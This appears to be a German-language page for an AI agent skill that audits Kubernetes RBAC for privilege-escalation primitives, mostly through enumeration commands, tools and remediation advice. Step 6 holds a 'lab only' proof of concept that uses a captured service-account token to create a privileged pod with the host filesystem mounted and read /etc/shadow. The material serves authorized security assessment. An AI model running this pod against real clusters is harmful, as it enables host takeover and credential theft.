Communitygithub.com

Überprüfung von Kubernetes RBAC-Privilegieneskalation

Systematische Aufzählung effektiver Berechtigungen für jedes Subjekt, Identifikation von Subjekten mit Eskalationsprimitiven und Erstellung von Korrekturnachweisen.

Was ist Überprüfung von Kubernetes RBAC-Privilegieneskalation?

Diese Fähigkeit führt eine umfassende Sicherheitsüberprüfung der Kubernetes-RBAC-Konfiguration (Rollenbasierte Zugriffskontrolle) durch, um gefährliche Berechtigungen zu identifizieren, die zu einer Privilegieneskalation führen können. Sie ist für autorisierte Sicherheitstests, Penetrationstests und die Überprüfung der Einhaltung des Least-Privilege-Prinzips konzipiert. Die Fähigkeit erfasst alle RBAC-Objekte (Roles, ClusterRoles, RoleBindings, ClusterRoleBindings), listet die effektiven Berechtigungen für jedes Subjekt (Benutzer, Dienstkonten) auf und identifiziert speziell Subjekte, die gefährliche Primitive wie `escalate`, `bind`, `impersonate` oder den Zugriff auf sensible Ressourcen wie Secrets und Pods besitzen. Sie nutzt kubectl-Befehle und spezialisierte Tools wie rbac-police, kubectl-who-can und rakkess. Die Ergebnisse umfassen eine detaillierte Suche nach Eskalationspfaden, die Verknüpfung von Pods mit überprivilegierten Dienstkonten und einen abschließenden Prüfbericht mit Empfehlungen zur Behebung, um die Sicherheitslage des Clusters zu verbessern.

Funktioniert mit~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/auditing-kubernetes-rbac-privilege-escalation

In Ihrer bevorzugten KI fragen

Öffnet einen neuen Chat, in dem dieser Agent-Skill bereits geladen ist.

Dokumentation

Was macht Überprüfung von Kubernetes RBAC-Privilegieneskalation?

Rechtlicher Hinweis: Diese Fähigkeit ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Das Aufzählen und Nutzen von RBAC-Berechtigungen beeinflusst die Zugriffsposition eines Live-Clusters. Testen Sie nur Cluster, die Ihnen gehören oder für die Sie ausdrücklich schriftlich autorisiert wurden.

Überblick

Kubernetes Role-Based Access Control (RBAC, MITRE ATT&CK T1078 Valide Konten) regelt, was jeder Benutzer und jedes Dienstkonto über Role/ClusterRole-Regeln, die durch RoleBinding/ClusterRoleBinding gebunden sind, tun darf. Da Workloads standardmäßig mit einem bereitgestellten Dienstkontotoken ausgeführt werden, erbt ein Angreifer, der einen Pod kompromittiert, die RBAC-Rechte dieses Kontos. Übermäßig großzügige Bindungen verwandeln einen einzelnen kompromittierten Pod in eine Cluster-Übernahme: Bestimmte Verben und Ressourcen sind „RBAC-äquivalent zu Cluster-Admin“.

Gemäß den Kubernetes „RBAC Good Practices“ und der Unit-42-Forschung sind die gefährlichen Primitive:

  • escalate für Rollen — sich selbst jede Berechtigung gewähren, auch solche, die man nicht besitzt.
  • bind für ClusterRoles — eine Bindung zu cluster-admin erstellen.
  • impersonate für Benutzer/Gruppen/Dienstkonten — als jedes Subjekt agieren, einschließlich system:masters.
  • create/update/patch für pods — einen privilegierten Pod planen oder den Knoten einbinden, um auf den Host zu entkommen (T1611).
  • create für pods/exec, pods/attach, pods/ephemeralcontainers — Code in jedem vorhandenen Pod ausführen.
  • get/list/watch für secrets — list gibt den vollständigen Secret-Inhalt zurück, einschließlich anderer Dienstkontotoken.
  • create für serviceaccounts/token — Tokens für privilegiertere Konten erstellen.
  • update/patch für validatingwebhookconfigurations/mutatingwebhookconfigurations, nodes/proxy, certificatesigningrequests/approval — Admission/CSR-Missbrauch zu Cluster-Admin.
  • Wildcards (verbs: ["*"], resources: ["*"]) — implizite Super-Privilegien.

Diese Fähigkeit listet systematisch effektive Berechtigungen für jedes Subjekt auf, kartiert, welche Subjekte diese Eskalationsprimitive besitzen, und erstellt Korrekturnachweise. Quelle: Kubernetes RBAC Good Practices; Unit 42 Kubernetes-RBAC-Forschung.

Verwendungszweck

  • Während eines autorisierten Kubernetes-Sicherheitsassessments oder Cluster-Penetrationstests
  • Nach der Kompromittierung eines Pods, um zu bestimmen, was das Dienstkontotoken erreichen kann
  • Bei der Überprüfung von RBAC-Abweichungen vor einer Produktionsfreigabe
  • Bei der Validierung des Least-Privilege-Prinzips nach einer Plattformmigration oder einem Helm-Rollout

Voraussetzungen

  • kubectl, das gegen den Zielcluster konfiguriert ist (eigene Anmeldeinformationen oder ein erfasstes Dienstkontotoken)
  • Lesezugriff auf RBAC-Objekte (die meisten Audits werden mit einem Cluster-Reader- oder Admin-Kontext durchgeführt)
  • Audit-Tooling:
    # rbac-police - Eskalationspfade finden (Cymulate)
    curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
    chmod +x rbac-police
    
    # kubectl-who-can - welche Subjekte eine Aktion ausführen können (Aqua)
    kubectl krew install who-can
    
    # rakkess - Zugriffsmatrix von Ressourcen x Verben für das aktuelle/andere Subjekt
    kubectl krew install access-matrix
    
    # rbac-lookup - welche Rollen ein Subjekt hat (FairwindsOps)
    kubectl krew install rbac-lookup
    

Ziele

  • Alle Role-, ClusterRole-, RoleBinding- und ClusterRoleBinding-Objekte erfassen
  • Effektive Berechtigungen pro Subjekt mit kubectl auth can-i --as aufzählen
  • Subjekte identifizieren, die RBAC-äquivalente-zu-Admin-Primitive besitzen
  • Token-montierte Pods zu überprivilegierten Dienstkonten verfolgen
  • Einen Eskalationspfad (in einem Labor) vollständig demonstrieren
  • Einen priorisierten Ergebnisbericht mit Least-Privilege-Korrektur ausgeben

MITRE ATT&CK-Zuordnung

Technik-IDNameTaktik
T1078Valide KontenVerteidigungsumgehung / Persistenz / Privilegieneskalation
T1098KontomanipulationPersistenz
T1528Stehlen von AnwendungszugriffstokenAnmeldedatenzugriff
T1613Container- und RessourcenerkennungErkennung
T1611Entkommen zum HostPrivilegieneskalation

Arbeitsablauf

Schritt 1: RBAC-Objekte erfassen

# Alle Rollen und Bindungen, clusterweit
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide

# Vollständiges RBAC für Offline-Analyse ausgeben
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
  --all-namespaces -o yaml > rbac-dump.yaml

# Wer ist an cluster-admin gebunden?
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
         .metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'

Schritt 2: Effektive Berechtigungen pro Subjekt aufzählen

kubectl auth can-i ist die autoritative Prüfung, da sie den Live-Autorisierer (RBAC + Webhooks) auswertet. Verwenden Sie --as, um ein Subjekt zu impersonieren (erfordert Impersonate-Rechte für die Audit-Identität).

# Vollständige Zugriffsmatrix für ein Dienstkonto
kubectl auth can-i --list \
  --as=system:serviceaccount:default:default

# Gezielte Sonden für gefährliche Berechtigungen
kubectl auth can-i create pods --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
  --as=system:serviceaccount:dev:builder

# rakkess vollständige Verb x Ressourcen-Matrix für ein Subjekt
kubectl access-matrix --as system:serviceaccount:dev:builder

Schritt 3: Die Eskalationsprimitive jagen

# Wer kann jede gefährliche Aktion clusterweit ausführen?
kubectl who-can create pods
kubectl who-can '*' '*'                      # Wildcard-Gott-Modus-Inhaber
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings   # Bind-ähnliche Eskalation

# Den rohen Dump nach escalate/bind/impersonate-Verben und Wildcards durchsuchen
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml

Schritt 4: Automatisierte Eskalationspfad-Analyse mit rbac-police ausführen

rbac-police wertet Rego-Richtlinien über einen Cluster-Snapshot aus, um Prinzipale zu identifizieren, die zu Cluster-Admin eskalieren können, sowie den genauen Pfad.

# Alle integrierten Eskalationsprüfungen ausführen (benötigt eine Kubeconfig mit Lesezugriff)
./rbac-police eval ./lib/policies/

# Nur die Privilegieneskalationsrichtlinie, schwerwiegende Ergebnisse als JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json

# Zuerst einen Snapshot sammeln (Offline-Analyse / Air-Gapped-Überprüfung)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json

Schritt 5: Pods zu überprivilegierten Dienstkonten verfolgen

Ein Ergebnis ist nur relevant, wenn eine erreichbare Workload dieses Token bereitgestellt hat.

# Jeden Pod seinem Dienstkonto zuordnen
kubectl get pods --all-namespaces \
  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'

# Pods finden, die Tokens automatisch bereitstellen (Standard) und mit riskanten SAs verbunden sind
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] | select(.spec.automountServiceAccountToken != false) |
  "\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'

# rbac-lookup: was hält dieses Dienstkonto tatsächlich?
kubectl rbac-lookup builder --kind serviceaccount

Schritt 6: Einen Eskalationspfad demonstrieren (nur Labor)

Beispiel: Ein Dienstkonto mit create pods und Zugriff auf einen Knoten kann einen privilegierten Pod planen, der das Host-Dateisystem bereitstellt.

# Mit einem erfassten Token direkt auf den API-Server zugreifen
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# Das gefährliche Recht bestätigen
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
  auth can-i create pods

# Einen privilegierten Pod planen, der Host-Verzeichnisse bereitstellt (beweist Knoten/Host-Übernahme)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
  --insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc   # host /etc/shadow beweist die Eskalation

Schritt 7: Berichten und Beheben

# Eine Zusammenfassung der Least-Privilege-Verstöße erstellen
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  "FINDING cluster-admin gebunden an: " +
  ((.subjects // []) | map(.kind+":"+.name) | join(", "))'

Behebung: Ersetzen Sie Wildcards durch explizite Verben/Ressourcen; entfernen Sie escalate/bind/impersonate, sofern nicht erforderlich; setzen Sie automountServiceAccountToken: false auf Workloads, die die API nicht aufrufen; bevorzugen Sie Role (namespaced) gegenüber ClusterRole, wo möglich; verwenden Sie aggregationRule mit Vorsicht.

Tools und Ressourcen

ToolZweckQuelle
kubectl auth can-iAutorisierte Live-Berechtigungsprüfung (--list, --as)https://kubernetes.io/docs/reference/access-authn-authz/authorization/
rbac-policeRego-basierte Eskalationspfad-Analysehttps://github.com/PaloAltoNetworks/rbac-police
kubectl-who-canRückwärtssuche: Wer kann X tunhttps://github.com/aquasecurity/kubectl-who-can
rakkess (access-matrix)Verb x Ressourcen-Matrix pro Subjekthttps://github.com/corneliusweig/rakkess
rbac-lookupRollen, die ein Subjekt hälthttps://github.com/FairwindsOps/rbac-lookup
Kubernetes RBAC Good PracticesAutoritative Liste der Eskalationsprimitivehttps://kubernetes.io/docs/concepts/security/rbac-good-practices/

Referenz gefährlicher RBAC-Primitive

Verb / RessourceWarum es Cluster-Admin-Äquivalent ist
escalate auf RollenSich selbst jede Berechtigung gewähren
bind auf ClusterRolesSich selbst an cluster-admin binden
impersonate Benutzer/GruppenAls system:masters agieren
create pods (+ Knotenzugriff)Privilegierter/hostPath Pod -> Host-Übernahme
create pods/exec,pods/attachCode in vorhandenen Pods ausführen
get/list secretsAlle Tokens & Anmeldedaten lesen
create serviceaccounts/tokenPrivilegierte Tokens erstellen
*/* (Wildcards)Implizite Super-Privilegien

Validierungskriterien

  • Alle Role/ClusterRole/Binding-Objekte erfasst und ausgegeben
  • Liste der cluster-admin-Subjekte aufgeführt
  • Effektive Berechtigungen pro Dienstkonto über auth can-i --list aufgeführt
  • Alle Inhaber gefährlicher Primitive identifiziert (escalate/bind/impersonate/secrets/pods)
  • rbac-police Eskalationspfade überprüft
  • Token-montierte Pods zu riskanten Dienstkonten zugeordnet
  • Mindestens ein Eskalationspfad in einem Labor demonstriert
  • Ergebnisbericht mit Least-Privilege-Korrektur erstellt
  • Alle Tests im autorisierten Rahmen geblieben

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Verwandte Skills